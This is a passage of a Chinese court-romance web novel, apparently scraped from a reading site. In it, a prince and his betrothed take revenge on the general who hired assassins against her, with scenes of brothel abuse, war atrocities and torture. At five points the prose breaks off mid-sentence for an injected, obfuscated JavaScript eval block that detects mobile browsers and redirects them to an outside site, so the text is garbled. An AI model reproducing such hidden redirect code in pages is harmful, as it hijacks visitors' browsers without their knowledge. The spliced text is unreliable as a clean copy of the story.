夭夭伸出小手,拽着姜南溪的袖子,一边掉眼泪,一边哀求:“娘亲,你嫁给父王,来当夭夭和哥哥的娘亲好不好?夭夭喜欢姐姐,只喜欢姐姐当夭夭和哥哥的娘亲。” 对着这一张梨花带雨的软萌小脸。 再加上萧时晏那虽然不说话,却巴巴儿望过来的眼神。 这谁能说得出拒绝的话。 该死的! 都怪影十三这个混蛋。 她这不是两头骗,分明是三头骗啊! “南……南溪县主。” 说曹操曹操到。 姜南溪刚在心里咬牙切齿骂着某人。 就听道身后传来熟悉的声音。 她沉着脸回头,就见影十三恭敬地低着头。 完全不敢抬头与她对视:“南溪县主,主子有请。” 姜南溪皱眉。 不,她现在一点都不想再见到萧墨宸。 然而下一刻,就听影十三道:“司先生找到了那日追杀县主的幕后之人。” “主子让属下问问县主,想不想去亲手报仇。” 姜南溪挑了挑眉,幽幽笑道:“去,当然要去!” 她可至今还记得,那天晚上的狼狈、痛苦和凄惨。 能亲手报仇,她怎么可能不去? …… 姜南溪掀开车帘,找了马车车厢最角落的位置坐下来。 她的眼角余光往旁边偷瞄了一眼。 只见一个时辰前还赤裸着上身泡药浴的男子。 此时已经穿上了一身月白色长衫。 衣服的款式极其普通,只在袖口与下摆上绣着淡淡的竹叶纹。 可穿在这男人身上,却生生给人一种清冷如天山雪般绝世出尘之感。 修长的手指握着书页,正漫不经心的翻着。 袖口的竹叶纹随着动作,轻轻波动,宛如清风拂过竹林。 沙沙的竹叶摩擦声,仿佛响在耳畔。 连带着她的心都被擦的酥麻难耐。 热意爬上耳根。 第一百六十四章 套麻袋去 姜南溪把身体又往角落挪了挪,口中一直碎碎念。 我是符合*********的好青年! 正背的入神,耳边却突然传来男人清冷低沉的声音。 “姜南溪,本王能吃了你吗?” 姜南溪条件反射道:“当然不能……” 我比较有可能吃了你。 但好险,她刹住了车,没把这丧心病狂的话说出口。 但一抬头,却见萧墨宸正沉着一张俊脸看着她:“那你坐那么远做什么?” 姜南溪干笑一声。 只能转移话题:“影十三说,你找到追杀我的幕后凶手了,是谁?” 萧墨宸将手中的资料递给她。 只是,两人坐的远,萧墨宸也没有动用内力挪动的意思。 姜南溪只得将自己的位置一点点挪过去。 从萧墨宸手中接过资料,翻看起来。 祁瑞霖! 果然是他! 姜南溪磨着后槽牙道:“就因为我在军营门口泼了他脏水,骂了他连狗都不如,他就找了那么多**杀我?” 那日在鸿宾客栈追杀姜南溪的**,要么当场**,要么逃了。 但逃走的人总会留下蛛丝马迹。 最终,其中两个从萧墨宸眼皮底下逃走的**被抓住了。 在墨影卫的言行逼供下,他们招认。 自己是【秋海棠】的人。 秋海棠是西楚赫赫有名的**组织。 他们接任务的酬金极高,可任务几乎没有失败的。 而祁瑞霖,正是用天价雇佣了秋海棠一个分舵的人,追杀姜南溪。 这是什么概念呢? 曾经有一个贪官被几个帮派和家族联合追杀。 贪官怕死,花大价钱雇了一大堆保镖在身边日夜保护自己。 可最终,这贪官一家,连带着那几十个保镖,都被秋海棠的人杀得干干净净。 而这种级别的追杀令,居然被用在了姜南溪身上。 正常情况下,她哪怕有九条命也不够用。 事实上,那日若不是萧时晏刚好在姜南溪身边,拼死也要保护她。 以至于让影三不得不出手。 姜南溪绝对会死无葬身之地。 可她实在想不通。 祁瑞霖的脑子到底是有什么毛病? 一个人的心眼能小到这种程度吗? 就因为自己骂了他一句,他就派出这种级别的**杀她? 高射炮打蚊子,**炸鸟吗? 萧墨宸闻言,眸光闪了闪。 突然抬头看向她。 桃花眸深邃而幽暗,仿佛在审视着什么。 姜南溪被看的头皮发麻,忍不住往后缩了缩:“王爷,你看我做什么?难道我说错了吗?” 萧墨宸垂下眼帘,没有回答她的话。 而是淡淡道:“所以,你想如何报复他?” 姜南溪愣了愣:“我想如何报复他?这难道是我能决定的吗?那我想弄死他,把他大卸八块,然后团吧团吧喂狗,可以吗?” 萧墨宸:“……” 御王殿下难得沉默了好一会儿才道:“本王手中没有确切的证据,祁瑞霖是禁卫军首领,皇上亲封的龙武将军。” 意思就是朝廷命官,不能随便弄死呗。 姜南溪翻了个白眼:“既然不能弄死弄残他,那你问**什么?” 想了想,她又好奇道:“所以你今日说要带我去报仇,是打算让我怎么报仇?套上麻袋,揍他一顿?” 萧墨宸淡淡道:“也未尝不可。” 这下轮到姜南溪卡壳了。 堂堂御王殿下,居然也能做出套麻袋这种事情来? 她怎么觉得这么不可思议呢? 但,套麻袋,会不会太便宜祁瑞霖那**贼、**了? 姜南溪眼珠子一转,靠近萧墨宸道:“你先告诉我,祁瑞霖现在在哪?你们打算怎么套他麻袋,又不会被追责我们殴打朝廷命官?” 少女湿暖的吐息,伴随着馨香,吐在耳畔。 粉嫩柔软的唇瓣,近在咫尺。 萧墨宸只觉得,太近了。 近到他又回想起一个时辰前品尝到的味道。 姜南溪见他迟迟不回答,忍不住又凑近了几分。 一根修长的手指却点在她额头,把她推远了一点。 “说话就说话,离那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742685|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么近做什么?”清冷的声音中,带上了几分暗哑。 姜南溪却以为狗王爷又嫌弃自己勾引他、玷污他清白了。 撇撇嘴,在心里腹诽:自己躲得远远的要被他训,现在就靠近点说个悄悄话也要被训。 这狗王爷怎么那么难搞啊? 但她此刻急于报复祁瑞霖,所以不想跟萧墨宸计较。 于是便乖乖把位置往后挪了好几步,才眼巴巴地看着萧墨宸。 身边温暖的气息与馨香消失。 萧墨宸翻动书页的手一顿,莫名又不爽起来。 这女人,坐那么远做什么? 他很可怕吗? 姜南溪:“萧墨宸?” 狗王爷怎么不说话? 反而用冷飕飕地目光看着她。 她没得罪他吧? 萧墨宸垂下眼帘,淡淡说了祁瑞霖此刻的行踪。 报复祁瑞霖的手段和方式,是司玄中制定的。 而这位看上去城府极深的谋士,报复的方法还真是出奇的简单。 就是把人堵在犄角旮旯里,狠狠揍上一顿。 御王府手中除了秋海棠**的口供,没有其他证据。 自然定不了祁瑞霖的罪。 可同样的,御王府的人就是明晃晃地把祁瑞霖狠狠揍一顿。 只要不打得他伤筋动骨,手残脚残的。 便是告到御前,皇上也不会因此责罚御王府。 楚家和祁家,也不可能为了一点小恩怨,跟御王这个将死的疯子对上。 司玄中的目的很简单。 就是要让祁瑞霖狠狠吃下这哑巴亏,偏偏又讨不回公道。 也让他知道,御王府的人,绝不是好惹的。 姜南溪粗听觉得,司玄中的计策也未免太简单粗暴了。 但越想越觉得,这位司先生真是个妙人。 正是因为简单粗暴,才能一力破十巧。 也因为太简单粗暴了,所以祁瑞霖根本就不会想到。 被套了麻袋也只会猝不及防。 而且在这么短的时间定下计策,他居然还记得让萧墨宸通知自己来看热闹。 好让自己出了这口恶气。 第一百六十五章 莺莺 姜南溪忍不住拊掌笑道:“司先生当真思维缜密,当个普通谋士真是屈才了。” 萧墨宸心中瞬间升起不爽。 这女人,究竟知不知道自己已经与他订下婚约。 谈起别的男人,怎能如此眉飞色舞,完全将他视若无物。 可偏偏,想要开口叱骂,又莫名觉得说不出口。 某王爷只能垂下鸦羽般的长睫,继续看书。 然而,接下来,他一个字都没看进去。 手中的书页反而翻的哗哗作响。 姜南溪却没察觉到萧墨宸的情绪变化。 她夸了司玄中一通,却又觉得这样还是太便宜祁瑞霖了。 眼珠子一转,突然计上心头。 “萧墨宸,我有个想法……” 少女的双目灼灼闪亮,雪瓷般的面颊也因为兴奋染上了薄粉。 就那样靠过来,贴在他耳畔,撞进他心里。 萧墨宸猛地攥皱了手中的书页,一时几乎没听清耳边的人究竟说了什么。 他有心想再次将人推开。 手松开书页,抬起了半寸,又收了回去。 车厢里只剩下少女叽叽喳喳,清脆悦耳,兴奋“密谋”的声音。 === 夜色如墨。 京城中平日里最热闹喧嚣的青楼春香阁内灯火辉煌。 莺歌燕舞,丝竹管越,靡靡之音,隔着江河都能飘出去极远。 春香阁最顶楼的包间中。 几个衣着华贵的男子正在推杯换盏,觥筹交错。 阁里的姑娘们穿梭在几人之中。 时而吴侬软语,坐在男子腿上劝酒。 时而又扭动着不盈一握的腰肢,香袖拂过,翩翩起舞。 席上,所有人都在不遗余力地恭维奉承坐在上座的年轻男子。 “莺莺,今天你可要好好伺候你身边这位公子,你可知他是谁吗?” 被叫做莺莺的是个声音如**般婉转动人的妖娆美丽女子。 只见她穿着一身单薄的纱裙,曼妙的身形与里头的鹅黄色肚兜若隐若现。 轻纱下滑,一双雪藕似得双臂露出来。 勾在男人的脖子上,吐气如兰:“奴家不需要知道这位公子的身份来历,端看公子这模样气度,便知公子定是人中龙凤,贵不可言。” “哈哈哈哈……”开头说话的男**笑出声,“莺莺姑娘真是冰雪聪明,这位是祁家的二公子,同时也是禁卫军的左统领,当今圣上亲封的龙武将军。” 莺莺惊讶的掩住小嘴。 一双眉目崇拜又震惊地看着祁瑞霖,声音也越发娇柔了几分。 “奴家早知公子来历不凡,可没想到,竟是这般大人物。莺莺今晚若是有幸伺候大人您,那真是莺莺几辈子修来的福气了。” 祁瑞霖对莺莺这样娇媚崇拜的眼神和软软娇娇的奉承话语很是受用。 他环住莺莺不盈一握的纤腰。 抬手在雪山般起伏的山峦上捏了一下。 直捏的莺莺娇喘细细,双眸沁上了盈盈的泪珠。 才意犹未尽的收回手,把她推开:“这段时日,本将军不适合留宿春香阁这等地方,但莺莺是吗?你这个人本将军看上了,听说如今你还是淸倌。整好,本将军也不喜欢别人碰过的东西。” “从今日起,莺莺你都不需要再接客了,等着三个月后,本将军再来好好宠幸你!” 莺莺闻言双颊绯红,喜形于色,盈盈下拜:“奴家能被祁将军看上,当真是上辈子修来的福气。将军放心,奴家从今晚后,一定不会再招待别的男子,只安心等待将军您的到来。” 说完后,她垂下头,眼泪从她的眼角滑落,又被她用香袖不着痕迹地抹去。 等再抬头的时候,已是媚意入骨的娇羞含笑表情。 “哈哈哈,祁将军真是好定力啊!放着这样的尤物,竟然还能忍到三个月后。” “哎呀,世人皆知,祁将军马上便要与京城第一才女,柳尚书家的千金柳小姐成亲了,祁将军这么做,也是给柳家面子,给柳小姐面子。” “对对,祁将军当真好男人啊,为了柳小姐,竟然如此洁身自好,肯三个月都不碰莺莺这样的尤物。要在下,绝对是做不到的。” 祁瑞霖笑了一声,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744620|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为然。 为了柳雪菡? 当然不可能! 只是他以后的仕途,还需要柳家的助力。 在成亲之前,当然要给柳家一点面子。 “说起来,柳小姐当初可是御王殿下的未婚妻,听说还是御王殿下心心念念想娶的女人。啧啧,柳小姐眼光如此高,连当初的御王殿下都看不上,却肯嫁给祁将军,还是祁将军魅力大啊!” “要不怎么大家都说,如今的祁将军是比当年的御王更有前途的名将呢!” “呵呵,御王,如今也不过是个残废罢了,如何能与此刻如日中天的祁将军相提并论?” “要我说,一个残废如何能执掌镇北军,御王若是还有点自知之明,便该主动将镇北军军符交出来,让祁将军掌管才对。” “也快了,周太医都说,御王只有三个月的寿命,等御王一死,能掌管三十万镇北军的,除了祁将军,还有什么人呢?” “哈哈哈……那我们就在这里,提前恭喜祁将军了。” 哗啦——! 众人正哄笑恭维着,却听到身后传来哗啦声响。 紧接着,一捧热酒洒在了祁瑞霖的头上。 祁瑞霖猛地站起身,恼怒地看过去。 众人也停止了哄笑,一起抬头望去。 这才发现,原本站在祁瑞霖身后,专门负责为祁瑞霖斟酒喂水果的莺莺。 此时手上的酒壶和果盘全都掉在地上。 而刚刚祁瑞霖身上的酒,显然也是她洒上去的。 “莺莺,你在做什么啊?怎么**手毛脚的!” 一旁一个年纪大些的女子连忙上前来,一边拿绢帕给祁瑞霖擦揭,一边假意斥责。 “你这傻孩子,就算真的因为能伺候祁将军而太过高兴了,也不能忘形啊!” “瞧瞧这手抖得,都把酒洒祁将军身上了。” “呵呵,祁将军,你也别怪莺莺,这孩子单纯,没怎么正儿八经伺候过客人,更何况是祁将军你这般英武不凡的。这一激动,难免就容易出错。” “看在莺莺还是小丫头的份上,您就原谅她吧!” 第一百六十六章 你们见过北疆的战场吗? 祁瑞霖目光阴鸷地看了看莺莺,突然一把挥开那年长的女子。 大马金刀地坐下来,冷声道:“过来,给本将军舔干净,本将军就原谅你的失礼!” “哈哈哈,还是祁将军会玩啊,美人儿香舌舔酒,真是想想就让人激动。今日托了祁将军的福,我们也能看看如此香艳的场面了。” 祁瑞霖抬起头,却见莺莺依旧低垂着头,一动不动。 他的脸色沉了下来:“怎么?本将军的命令,你敢不听?” “听得听得。”年长女子连声道,“我们莺莺最听话了,她就是害羞而已。” 她连忙走到莺莺身边,用只有两人能听到的声音,在她耳边道:“莺莺,想想我们的身份,这样的大人物我们得罪不起的。” “快,去给祁将军低个头,否则……否则他们有一百种手段,折磨我们这样的贱命。” 直到此时,莺莺才缓缓抬起头来。 然而看着那张与之前一般无二的娇媚脸庞。 在场的众人却都是一愣。 因为他们发现,这位春香阁的花魁变了。 明明是一样的暴露衣衫,一样的娇艳魅惑妆容。 可此时此刻,她的脸上却再没有了方才的烟视媚行。 她的双目灼灼闪亮,带着压抑不住的怒气,与不顾一切地疯狂。 看着眼前的每一个人。 良久,沙哑的声音才从她的唇齿间溢出来:“你们……知道什么?” “你们见过北疆的战场吗?” “你们见过昌乐城里,每家每户的房梁上,被挂满人头的场景吗?” “你们看过,每一块青砖都被鲜血浸透的城池地面吗?” “你们什么都不知道,凭什么那样诅咒御王?” “你们这群败类,连御王的一根手指头都比不上,凭什么咒他死?你又……凭什么接手御王率领的镇北军?” 泪水从她的眼眶中滑落下来。 屋内陷入了死一般的静寂。 祁瑞霖的脸色阴鸷地仿佛能滴下水来。 他双目死死瞪着莺莺:“你是当年昌乐城里的幸存者?” 年长女子慌了,抓着莺莺的手焦急道:“莺莺,别再说了!你快告诉祁将军,你是南边落魄的富家小姐,莺莺!” 莺莺却咬着牙,一字字道:“不错,我就是当年昌乐城的幸存者。” “那时,镇北军的五万先锋军被镇北军的叛徒调走,大梁的军队长驱直入昌乐城。” “大梁军的统帅说要杀光我们城里的每一个人,死前,女的被**,男的被肢解烹煮。” “城中每一日都是如地狱般的景象。” “我们都以为自己死定了,可是,御王殿下却带着仅剩的镇北军杀了回来……” 为什么昌乐城所有的幸存者,无论失去了多少亲人,无论接下来的命途有多凄然。 从未有一个人怪过守城的镇北军与主将御王。 因为他们亲眼看到,御王是如何带着伤痕累累的镇北军,与十倍于己的敌人血战的。 他们亲眼看着那些与他们差不多大的青年,一个个从马上倒下来。 鲜血染红了昌乐城的青砖城墙。 他们也曾亲眼看到,御王亲手斩下了大梁主将的头颅。 最终力竭从马上栽倒下来。 莺莺他们也是到后来才知道。 原来那个如杀神般奋勇拼杀,在马上纵横捭阖,无人匹敌的战神,早在来昌乐城之前就中了毒,被人断了手脚筋脉。 他是燃烧了自己的命,来救他们幸存的这些昌乐城城民,来守护西楚的城池国土。 泪水从莺莺的眼眶滚落下来。 她的双手死死攥成拳头,身体都在不住地颤抖。 她是怕的。 怕眼前这些权贵。 怕自己这种卑贱又肮脏的身份,一次反抗,换来的会是凄惨到无法承受的结局。 可她真的没办法忍受。 所有从昌乐城中幸存下来的人,都没办法忍受。 曾经如神祇般从天而降拯救他们的御王与镇北军被那样羞辱。 这些只会在京城中夜夜笙歌、**权术的**。 有什么资格那样诅咒守护了他们昌乐城最后一点星火的御王殿下。 她的双眸仿佛燃着愤怒与质问的火焰。 看过去的时候,满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744621|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座的达官显贵,都有些心虚地避开了目光。 可随即,他们又忍不住恼羞成怒。 不过是个贱卖自己的下九流娼妇而已。 竟然也敢质问他们。 他们想要破口大骂,可有一个人的动作却比他们更快。 啪——! 一个巴掌狠狠甩在莺莺的脸上。 直接将莺莺单薄的身子甩飞出去,重重撞在柱子上。 莺莺哇的吐出一口血,脸色一片惨白。 “莺莺!” 屋中的其他女子都忍不住发出一声惊呼。 她们想要冲过去扶起莺莺。 可是,却不敢当着这些位高权重的人动作。 年长女子急的眼泪都掉下来了。 几次想要冲过去护住莺莺,想起天香阁中那么多姐妹的命运,又只能硬生生忍住。 祁瑞霖几步走到莺莺面前,一把抓住她的头发。 “你算什么东西,一个小小妓子,也敢妄议边疆战事!” “你知道什么?” 莺莺嘴角淌着血。 剧烈的疼痛和恐惧,让她娇软的身体在不住的颤抖。 可她看着祁瑞霖,却突然道:“我……想起来了!” “当年带走了镇北军五万先锋军的叛徒,就是祁家……” 啪! 祁瑞霖又狠狠一巴掌扇过去。 发出一声歇斯底里的怒吼:“**,你给我闭嘴!” 直扇的莺莺眼冒金星,几乎要晕厥过去。 可她却非但不住嘴,反而用沙哑的声音低低嘶吼:“畜生……畜生!如果不是你,我的阿爹阿娘不会死,我不会沦落青楼……可为什么,为什么你这样的畜生能加官进爵,御王殿下却要死!” “老天不公,老天不公啊!呸!” 莺莺一口血沫吐在祁瑞霖脸上。 祁瑞霖的脸瞬间狰狞。 一双眼里喷射着滔天的火焰,羞恼、愤怒、憎恨。 就好像是被人揭穿了最不堪入目的一面。 “你们都给我出去!我要亲自弄死这个**!” 房间里很快就剩下祁瑞霖和莺莺两人。 第一百六十七章 他吃的竟然是骨灰 莺莺绝望而坦然地闭上眼,等待死亡的降临。 要她伺候这样的畜生,她宁愿死。 然而,预期中的凌虐殴打没有到来。 莺莺听到耳边传来砰一声巨响。 她猛地睁开眼,就见刚刚还凶神恶煞的祁瑞霖,直挺挺地倒在自己身侧。 而在祁瑞霖的身边,站着一个全身裹得严严实实的黑衣人。 莺莺全身发颤,本能发出一声短促的惊叫。 黑衣人眉头微微一皱,一个手刀砍在莺莺的背上。 莺莺连哼都没哼一声,直接晕死过去。 …… 姜南溪看着躺在地上的一男一女两人,疑惑道:“怎么带了两个人过来?” 影九面无表情地把在春香阁中发生的事情说了一遍。 他仿佛天生没有什么情绪起伏。 哪怕说到莺莺为了维护萧墨宸,不惜对祁瑞霖以死相抗时。 眼中也没有丝毫的波动。 姜南溪却是一时有些愣住了。 她忍不住看了萧墨宸一眼,心中翻涌着说不出的情绪。 萧墨宸**的过程,她其实曾经听影十三说过。 可旁观听故事的感觉。 远没有这件事,从当年的受害者和亲历者口中说出来那般震撼。 原来,这个暴戾、小心眼,看上去如此养尊处优的御王。 曾经真的那样为了百姓,为了国家,豁出自己的性命在战场上拼杀过。 他的这一身要他性命的毒。 与此刻这一副残缺的,无法再正常行走的身体。 都是为了昌乐城的百姓,才落下的。 姜南溪正想的入神。 躺在地上的祁瑞霖突然猛地睁开眼来。 他也算是警觉。 几乎一睁眼,便一跃而起,摆出了战斗的架势。 然而下一刻,一团灰便扬在了他的脸上。 祁瑞霖猝不及防,吃进了一大捧灰。 这灰的味道非常古怪。 不似泥土尘埃,却也不像是什么**。 祁瑞霖飞快闭上眼,一边咳嗽,一边拼命把嘴巴里的灰往外吐。 “谁……咳咳……到底是哪个龟孙子,敢暗算本将军……咳咳咳……” 话音刚落,几团黑影朝着他的头顶重重砸下。 祁瑞霖根本就来不及反应,就被砸了个正着。 刚刚爬起来的身体又直挺挺摔在地上。 剧痛从他的腰背处传来,让他发出一声痛苦的闷哼。 紧接着,一股浓重的血腥味钻入他的鼻尖。 祁瑞霖忍着剧痛定睛看去,这才发现,砸向他的,竟然是几具面目全非的尸体。 其中一具尸体的双目正圆睁着,直勾勾盯着他。 就像是索命的厉鬼。 饶是祁瑞霖心狠手辣,艺高人胆大,看到这一幕也是心头一跳,猛地抬起头。 “你们……” 破口大骂的声音戛然而止。 祁瑞霖看着前方坐在轮椅上的俊美男子,瞳孔剧烈收缩,呼吸一阵急促。 极度的恐惧,让他感觉从尾椎骨窜起一阵寒意。 身体控制不住地打了个寒颤。 有一瞬间,祁瑞霖错觉自己仿佛又回到了那个风沙漫天的北疆战场上。 他不是如今大权在握,锦衣玉食的禁卫军统领。 而只是个每日都要出生入死拼杀,单调枯燥训练的校尉。 一个小小的错误,就会受到严苛的惩罚。 而惩罚自己的,就是面如冠玉,却凶如煞神的御王殿下。 祁瑞霖口中的那句“王爷恕罪”,几乎要脱口而出。 可字到了嘴边,他猛然反应过来。 不! 他已经不是匍匐在萧墨宸腿边的一只狗了。 现在的他是高高在上的龙武将军。 是冉冉升起的新星名将。 而御王,他只是个剩下三个月寿命的残废罢了! 祁瑞霖剧烈喘息了几下。 眼中的恐惧逐渐被愤怒和张狂取代。 他呸的一声吐掉嘴里的沫子,怒吼道:“王爷,你这是什么意思?” “我已经不是你手下的小小校尉了,我是皇上亲封的龙武将军!” “王爷您如此不分青红皂白地对一个朝廷命官下手,就不怕皇上和百官问罪于你吗?” 祁瑞霖吼得歇斯底里。 可萧墨宸脸上却没有丝毫的情绪起伏。 反倒是站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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想要用这种假公济私的手段,来打压自己,让自己再次向他臣服罢了。 第一百六十八章 大刑伺候来一套 北疆和梁国一战,萧墨宸双腿尽废,活不过三月。 而他祁瑞霖却成了禁卫军统领,早晚会接手镇北军。 还要娶走萧墨宸最心爱的女人。 萧墨宸如此心高气傲,独断专行。 又怎么能忍受这样的羞辱呢? 想到这里,祁瑞霖忍不住笑了一声,挺直了背脊。 “本将军不知道你们在说什么?” “我堂堂龙武将军,岂会跟一个女人计较?” “你们说我收买秋海棠的**追杀南溪县主,有直接证据吗?” “可不要说,几个**的口供,便要给本将军定罪!” 祁瑞霖一甩手,义正词严,怡然不惧。 “欲加之罪,何患无辞!” “王爷你如此这般诬陷末将,不就是因为始终认定当初是末将背叛了你,给你下毒吗?” “但末将可以告诉你,我没有做过!” “调走五万先锋军,是朝中旨意,末将不过是奉命行事而已,何错之有?” “又为何要受到王爷您的诸般责难?还是说……” 祁瑞霖眯了眯眼,带着几分挑衅看向萧墨宸:“还是说,王爷心中也知末将冤枉。” “针对属下,不过是看不过曾经被你呼来喝去的校尉,如今在朝中的地位比你更高。” “或者,您是嫉妒末将要娶的女人,是您求而不得的柳家小姐吗?” “若是这样,那末将不服!” “末将就算人微言轻,也定要与王爷去圣上面前辩一辩!” 祁瑞霖这一番话说出来,只觉得酣畅淋漓。 他嘴角噙着幸灾乐祸的笑意。 等着看萧墨宸这个高高在上的御王,露出痛苦而恼羞成怒的表情。 然而,没有! 萧墨宸非但没有恼羞成怒,反而笑了。 只是那笑冰冷而阴鸷,仿佛来自地狱的修罗:“谁说本王要与你辨?” 祁瑞霖一惊。 一股寒意再次从尾椎骨窜起。 萧墨宸:“祁将军大可放心,本王既不想定你的罪,也不想让你认罪伏诛。本王只是单纯地想帮本王的未来王妃,出一口气罢了。” 他垂下鸦羽般的浓密长睫。 修长的手指漫不经心地转动玉扳指。 声音清冷而磁性:“影九,给祁将军简单走一套吧!” “记住,不要缺胳膊断腿,也不要留下太明显的痕迹,免得皇上面前不好交代。” “但务必要让祁将军印象深刻,好好长长教训。” “让他知道,即便本王残了**,御王府的人,也不是随便一个阿猫阿狗能动的!” 影九一个躬身:“是,主子!” 祁瑞霖双目圆睁,脸上的血色一寸寸退的干干净净。 他想要像刚刚一样硬气,想要破口大骂。 可是眼看着影九悄无声息的靠近。 极度的恐惧与曾经的记忆涌上心头。 以前在镇北军中,犯了大错的人,抓到的奸细,都是影九负责审讯的。 他曾亲眼见过,影九怎么将一个硬骨头的人,折磨地死去活来,哭着喊着求饶。 “不,御王……萧墨宸,你不能这样!” “你这是动用私刑,本将军是禁卫军统领,是皇上亲封的龙武将军!” “放开我,影九你这个狗奴才,放开我,本将军是……” “啊啊啊啊——!” 凄厉的惨叫回荡在屋子后方,听得姜南溪都起了一身鸡皮疙瘩。 这影九看着不声不响的,跟个AI智能机器人一样。 没想到审讯起来能这么心狠手辣。 之前还嚣张的不像话的祁瑞霖,此刻那凄惨的叫声,整个像是被烫了**的猪一样。 “怎么?怕了?” 耳边传来男人低沉磁性的声音。 姜南溪正要说话,却听地上传来嘤咛声响。 被影九丢在地上的莺莺缓缓睁开眼来。 入目的先是一片昏暗。 紧接着,双耳捕捉到了男人凄惨的嚎叫声。 莺莺本就怕的浑身瑟瑟发抖,等好不容易爬起身。 便与一具面目全非的尸体四目相对。 “啊——!” 莺莺发出一声惨叫,双目翻白,几乎要晕死过去。 姜南溪吓了一跳,连忙上前给小姑娘扎针。 莺莺一睁开眼,姜南溪生怕小姑娘再次吓厥过去。 连忙先发制人道:“莺莺姑娘,你看那是谁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753617|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快,看清楚了,这可是千载难逢的机会。” “要是你再晕一次错过了见你偶像的机会,我保证你会后悔终身的。” 说着,双手捧住莺莺的脑袋,把她往萧墨宸的方向转。 看到这一幕的萧墨宸,忍不住嘴角剧烈抽搐了一下。 而莺莺原本还在恐惧的瑟瑟发抖。 可是耳边的声音清灵悦耳,仿佛春风拂开了阴霾。 捧住她脸的手又是那样温柔。 鼻尖还萦绕着温暖的淡香。 让她的惊悸逐渐被驱散,双眼也终于能清晰看到眼前的场景。 在看清坐在轮椅上的俊美男子那一瞬。 莺莺只觉得大脑一片空白,泪水不知不觉便夺眶而出。 苍白的嘴唇颤抖了一下,好半晌才发出破碎的音节。 “御王……御王殿下!” 这一幕,她曾在梦里幻想过无数遍。 也曾无数遍地想过,见到御王殿下,她要做什么。 她要替昌乐城当年幸存的人拜谢御王殿下和镇北军的救命之恩。 要跪求御王殿下将她从青楼这样的魔窟拯救出去。 要问问当年满目疮痍,她没办法再面对的昌乐城,如今如何了? 要问问,御王殿下,您的伤如何了? 您还能活下去吗? 可当看到坐在轮椅上的男人那一瞬,所有的话语全都消失,只剩下泪水与颤抖的声音。 “御王殿下,您还活着……” 活得好好的。 没有如那些**说的那般,病入膏肓,自暴自弃。 “真是太好了。” === 祁瑞霖是在全身撕裂灼烧般的剧痛,与耳边叽叽喳喳的喧闹声中醒过来的。 嗡嗡嗡,嗡嗡嗡。 如苍蝇一般嘈杂的声音响在耳畔。 离他越来越近,也越来越吵。 祁瑞霖很想挥手驱赶,可是只是动了手指,便让他疼的死去活来。 于是,围绕着他的声音就越来越多,越来越肆无忌惮。 “这男人谁啊?怎么睡在春香阁的门口?” “该不会是付不出嫖资,被春香阁丢出来的穷酸破落户吧,哈哈哈……” 第一百六十九章 这人染了脏病,好可怕 该死的刁民,竟然敢说他祁瑞霖是穷酸破落户。 他要杀了这些贱民! 祁瑞霖拼命地想要睁开眼,可身体却像是石化了一般,无论如何都动弹不得。 “咦!你们快看,这男人的身上贴了张纸?” “有认识字的人吗?快来看看,这纸上写了什么?” “让开让开,本人是秀才,让我来读!” 然而只看了一眼纸条。 秀才的脸色就变了。 只见这纸条简单的不能再简单。 上面画了一个巨大的箭头,刚刚正好指向祁瑞霖的那张猪头脸。 而箭头下,就只有两句话。 【介绍一下:此人乃新任禁卫军统领,柳尚书家未来的乘龙快婿,祁尚书家的二公子,祁瑞霖祁将军。】 【友情提醒,祁将军染上了花柳之症,诸位好人家的姑娘公子,慎嫁慎结交哦!】 秀才惊叫一声:“祁将军?” 他吓得把手中的纸一丢,转身就要走。 “不读了,我不读了!你们快让让,我要离开这里。” 他一个小小的秀才,可得罪不起禁卫军统领。 但人群正等着听八卦呢! 